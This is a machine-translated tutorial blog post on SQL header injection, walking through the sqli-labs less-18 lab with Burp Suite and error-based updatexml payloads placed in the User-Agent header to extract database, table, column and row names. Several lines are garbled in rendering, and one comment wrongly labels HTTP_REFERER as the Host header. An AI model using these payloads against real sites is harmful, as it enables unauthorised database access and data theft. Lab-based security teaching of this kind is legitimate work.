当前位置:网站首页>SQL head injection -- injection principle and essence
SQL head injection -- injection principle and essence
2022-07-07 12:24:00 【hcjtn】
SQL head Inject
Let's talk about before head injection , I want to emphasize :
When there is no source code , You must try more to do penetration test .
sql Injection essence : Is to execute the data entered by the user as code
sql Two key conditions :1. The user can control the input .2. The code to be executed by the original program , Spliced user input data .
All vulnerabilities are caused by parameter transmission .
Four kinds of http The ginseng :get The ginseng ,post The ginseng ,cookie The ginseng ,head The ginseng ( Get the content in the request header ).
head Injection is usually triggered at login or submission .
One ,head Principle of injection
Use the website to provide back-end customer port information (cookie) Or by head Get the information of our client ( Such as ip etc. ), This information should be stored in the database , So here we have it sql Inject .
After observing the source code , We find that we need head Injection situation , There is one more in the core source code php sentence :
$uagent = $_SERVER['HTTP_REFERER']; // Currently requested Host: The content of the head .
We can also learn about SERVER Other functions of :
_SERVER[‘HTTP_ACCEPT_LANGUAGE’]// Browser language
$_SERVER[‘REMOTE_ADDR’] // The current user IP .
$_SERVER[‘REMOTE_HOST’] // Current user host name
S E R V E R [ ′ R E Q U E S T U R I ′ ] / / U R L _SERVER['REQUEST_URI'] //URL SERVER[′REQUESTURI′]//URL_SERVER[‘REMOTE_PORT’] // port .
$_SERVER[‘SERVER_NAME’] // The name of the server host .
$_SERVER[‘PHP_SELF’]// File name of executing script
$_SERVER[‘argv’] // Parameters passed to the script .
$_SERVER[‘argc’] // The number of command line arguments passed to the program .
$_SERVER[‘GATEWAY_INTERFACE’]//CGI Version of the specification .
$_SERVER[‘SERVER_SOFTWARE’] // The string of the server identity
$_SERVER[‘SERVER_PROTOCOL’] // The name and version of the communication protocol when requesting the page
$_SERVER[‘REQUEST_METHOD’]// Request method when accessing page
$_SERVER[‘QUERY_STRING’] // Inquire about (query) String .
$_SERVER[‘DOCUMENT_ROOT’] // The root directory of the document where the script is currently running
$_SERVER[‘HTTP_ACCEPT’] // Currently requested Accept: The content of the head .
$_SERVER[‘HTTP_ACCEPT_CHARSET’] // Currently requested Accept-Charset: The content of the head .
$_SERVER[‘HTTP_ACCEPT_ENCODING’] // Currently requested Accept-Encoding: The content of the head
$_SERVER[‘HTTP_CONNECTION’] // Currently requested Connection: The content of the head . for example :“Keep-Alive”.
$_SERVER[‘HTTP_HOST’] // Currently requested Host: The content of the head .
$_SERVER[‘HTTP_REFERER’] // Link to the... Of the previous page of the current page URL Address .
$_SERVER[‘HTTP_USER_AGENT’] // Currently requested User_Agent: The content of the head .
$_SERVER[‘HTTPS’]// If you pass https visit , Is set to a non empty value (on), Otherwise return to off
$_SERVER[‘SCRIPT_FILENAME’] # The absolute pathname of the currently executing script .
$_SERVER[‘SERVER_ADMIN’] # Administrator information
$_SERVER[‘SERVER_PORT’] # The port used by the server
$_SERVER[‘SERVER_SIGNATURE’] # String containing server version and virtual host name .
$_SERVER[‘PATH_TRANSLATED’] # The file system of the current script ( Not the document root ) Basic path .
$_SERVER[‘SCRIPT_NAME’] # Contains the path of the current script . This is useful when the page needs to point to itself .
$_SERVER[‘PHP_AUTH_USER’] # When PHP Running on the Apache Module mode , And is using HTTP Authentication function , This variable is the user name entered by the user .
$_SERVER[‘PHP_AUTH_PW’] # When PHP Running on the Apache Module mode , And is using HTTP Authentication function , This variable is the password entered by the user .
$_SERVER[‘AUTH_TYPE’] # When PHP Running on the Apache Module mode , And is using HTTP Authentication function , This variable is the type of Authentication ------- Extract website :$_SERVER Detailed explanation - Brother brush - Blog Garden (cnblogs.com)
Two , Common functions :
Because in head At the time of Injection , There is no echo , So we can use blind injection or ** Report errors ( recommend )** The technique .
3、 ... and , Operation process :
This is mainly about updatexml methods ( With sql_lab less-18 For example ):
First use burp suit Carry out a packet capture , After catching the bag :
stay User-Agent: Perform an error injection .
First, query the database name :
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) – q
Table name judgment :'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1),1,1) – q
Judge the listing :'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1),1,1)-- q
Judgment data :'and updatexml(1,concat(0x7e,(select id from emails limit 0,1) , 0x7e),1),1,1)-- q
边栏推荐
- Typescript interface inheritance
- [filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation
- MATLAB實現Huffman編碼譯碼含GUI界面
- Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)
- 牛客网刷题网址
- Tutorial on the principle and application of database system (008) -- exercises on database related concepts
- UP Meta—Web3.0世界创新型元宇宙金融协议
- 《通信软件开发与应用》课程结业报告
- 如何理解服装产业链及供应链
- How much does it cost to develop a small program mall?
猜你喜欢
![[shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)](/img/c3/10943528ee45d7059b8cc304654904.png)
[shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)
![[full stack plan - programming language C] basic introductory knowledge](/img/6d/555ac6b80b015e0cdfb7ef0a234f9d.png)
[full stack plan - programming language C] basic introductory knowledge

Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases
![111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]](/img/2e/da45198bb6fb73749809ba0c4c1fc5.png)
111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]

wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
![[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation](/img/14/6e440f3c4e04d9b322f0c3f43e213c.png)
[filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation

Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)

30. Feed shot named entity recognition with self describing networks reading notes

《通信软件开发与应用》课程结业报告

Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
随机推荐
TypeScript 接口继承
数据库系统原理与应用教程(008)—— 数据库相关概念练习题
111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
Introduction to three methods of anti red domain name generation
《通信软件开发与应用》课程结业报告
关于 Web Content-Security-Policy Directive 通过 meta 元素指定的一些测试用例
30. Feed shot named entity recognition with self describing networks reading notes
[full stack plan - programming language C] basic introductory knowledge
powershell cs-UTF-16LE编码上线
Sort out the garbage collection of JVM, and don't involve high-quality things such as performance tuning for the time being
【紋理特征提取】基於matlab局部二值模式LBP圖像紋理特征提取【含Matlab源碼 1931期】
即刻报名|飞桨黑客马拉松第三期盛夏登场,等你挑战
[neural network] convolutional neural network CNN [including Matlab source code 1932]
Matlab implementation of Huffman coding and decoding with GUI interface
Summed up 200 Classic machine learning interview questions (with reference answers)
[extraction des caractéristiques de texture] extraction des caractéristiques de texture de l'image LBP basée sur le mode binaire local de Matlab [y compris le code source de Matlab 1931]
软件内部的定时炸弹:0-Day Log4Shell只是冰山一角
The hoisting of the upper cylinder of the steel containment of the world's first reactor "linglong-1" reactor building was successful
NGUI-UILabel
VSCode的学习使用